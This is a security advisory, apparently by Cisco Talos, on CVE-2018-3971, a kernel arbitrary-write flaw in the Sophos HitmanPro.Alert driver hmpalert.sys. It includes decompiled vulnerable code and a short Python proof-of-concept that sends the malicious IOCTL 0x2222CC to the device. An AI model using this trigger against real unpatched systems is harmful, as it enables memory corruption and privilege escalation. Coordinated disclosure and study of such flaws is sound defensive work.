CVE-2018-3971
An exploitable arbitrary write vulnerability exists in the 0x2222CC IOCTL handler functionality of Sophos HitmanPro.Alert 3.7.6.744. A specially crafted IRP request can cause the driver to write data under controlled by an attacker address, resulting in memory corruption. An attacker can send IRP request to trigger this vulnerability.
Sophos HitmanPro.Alert - hmpalert.sys 3.7.6.744 - Windows 7 x86
https://www.hitmanpro.com/en-us/alert.aspx
9.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-123: Write-what-where Condition
This vulnerability can be triggered by sending IOCTL requests to the hmpalert device. Here we show the default access control on the device allows any user on the system to send IOCTL requests:
accesschk.exe -q -o \Device\hmpalert
\Device\hmpalert
Type: Device
RW Everyone
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R NT AUTHORITY\RESTRICTED
An arbitrary write vulnerability exists in the IOCTL handler for control code 0x2222CC. The vulnerable code looks like this:
Line 1 NTSTATUS __stdcall sub_975C1C00(PDEVICE_OBJECT deviceObject, PIRP Irp)
Line 2 {
Line 3 (...)
Line 4 __controlCode -= 0x222244;
Line 5 switch ( __controlCode )
Line 6 {
Line 7 case 0x88u:
Line 8 _SystemBuffer = (struct_v58 *)Irp->AssociatedIrp.SystemBuffer;
Line 9 a4 = 0;
Line 10 v72 = sub_975CC520(_SystemBuffer->srcAddress, _SystemBuffer->dstAddress, _SystemBuffer->srcSize, (int)&a4);
Line 11 if ( v72 < 0 )
Line 12 {
Line 13 Irp->IoStatus.Information = 0;
Line 14 }
Line 15 else
Line 16 {
Line 17 v25 = &Irp->AssociatedIrp.MasterIrp->Type;
Line 18 *v25 = a4;
Line 19 Irp->IoStatus.Information = 4;
Line 20 }
Line 21 break;
Three parameters coming from user mode are passed to the sub_975CC520
function as an arguments. Let us take a closer look at sub_975CC520
function.
Line 1 int __stdcall sub_975CC520(PVOID srcAddress, PVOID dstAddresss, int srcSize, int a4)
Line 2 {
Line 3 char v5; // [esp+0h] [ebp-28h]
Line 4 PVOID Object; // [esp+18h] [ebp-10h]
Line 5 void *tempBuffer; // [esp+1Ch] [ebp-Ch]
Line 6 int v8; // [esp+20h] [ebp-8h]
Line 7 SIZE_T _srcBufferLen; // [esp+24h] [ebp-4h]
Line 8
Line 9 if ( !protectedPID )
Line 10 return 0xC0000001;
Line 11 _srcBufferLen = srcSize;
Line 12 if ( !sub_975CC420((PBYTE)srcAddress, (int *)&_srcBufferLen) )
Line 13 return 0xC0000022;
Line 14 tempBuffer = ExAllocatePoolWithTag(0, _srcBufferLen, 'APMH');
Line 15 if ( !tempBuffer )
Line 16 return 0xC000009A;
Line 17 Object = 0;
Line 18 v8 = PsLookupProcessByProcessId(protectedPID, &Object);
Line 19 if ( v8 >= 0 )
Line 20 {
Line 21 KeStackAttachProcess(Object, &v5);
Line 22 if ( MmIsAddressValid(srcAddress) )
Line 23 memcpy(tempBuffer, srcAddress, _srcBufferLen);
Line 24 else
Line 25 v8 = 0xC0000141;
Line 26 KeUnstackDetachProcess(&v5);
Line 27 ObfDereferenceObject(Object);
Line 28 }
Line 29 if ( v8 >= 0 )
Line 30 {
Line 31 if ( MmIsAddressValid(dstAddresss) )
Line 32 {
Line 33 memcpy(dstAddresss, tempBuffer, _srcBufferLen);
Line 34 *(_DWORD *)a4 = _srcBufferLen;
Line 35 }
Line 36 else
Line 37 {
Line 38 v8 = 0xC0000141;
Line 39 }
Line 40 }
Line 41 ExFreePoolWithTag(tempBuffer, 0x41504D48u);
Line 42 return v8;
Line 43 }
As we can see at line 12 some sort of checks are made related with srcAddress
. Indeed, srcAddress
is checked in context of whether it belongs to the one of “protected”/”monitored” lsass.exe address space regions.
Attacker can try to leak lsass process memory regions addresses using different vulnerability or just brute force them. Next, the read data is copied to tempBuffer
at line 23.
Further at line 33, data from tempBuffer
is copied into the address pointed to by the dstAddress
argument which is fully controlled by the attacker. There are no size checks to ensure that the destination address has enough space for the copy operation.
This vulnerability leads to memory corruption and can be used by an attacker to gain arbitrary code execution and privilege escalation.
def leak_memory():
fileName = u'\\\\.\\hmpalert'
hFile = win32file.CreateFileW(fileName,
win32con.GENERIC_READ |win32con.GENERIC_WRITE,
0,
None,
win32con.OPEN_EXISTING, 0 , None, 0)
ioctl = 0x222244 + 0x88
inputBuffer = struct.pack("<I",0x7FFD8000) #srcAddress
inputBuffer += struct.pack("<I",0x80400000) #dstAddress
inputBuffer += struct.pack("<I",0x24) #srcSize
inputBufferLen = len(inputBuffer)
outBufferLen = 16
print "Time to send IOCTL : 0x%x" % ioctl
buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
if __name__ == "__main__":
leak_memory()
2018-07-23 - Vendor Disclosure
2018-09-17 - Vendor Patched
2018-10-25 - Public Release
Marcin 'Icewall' Noga of Cisco Talos.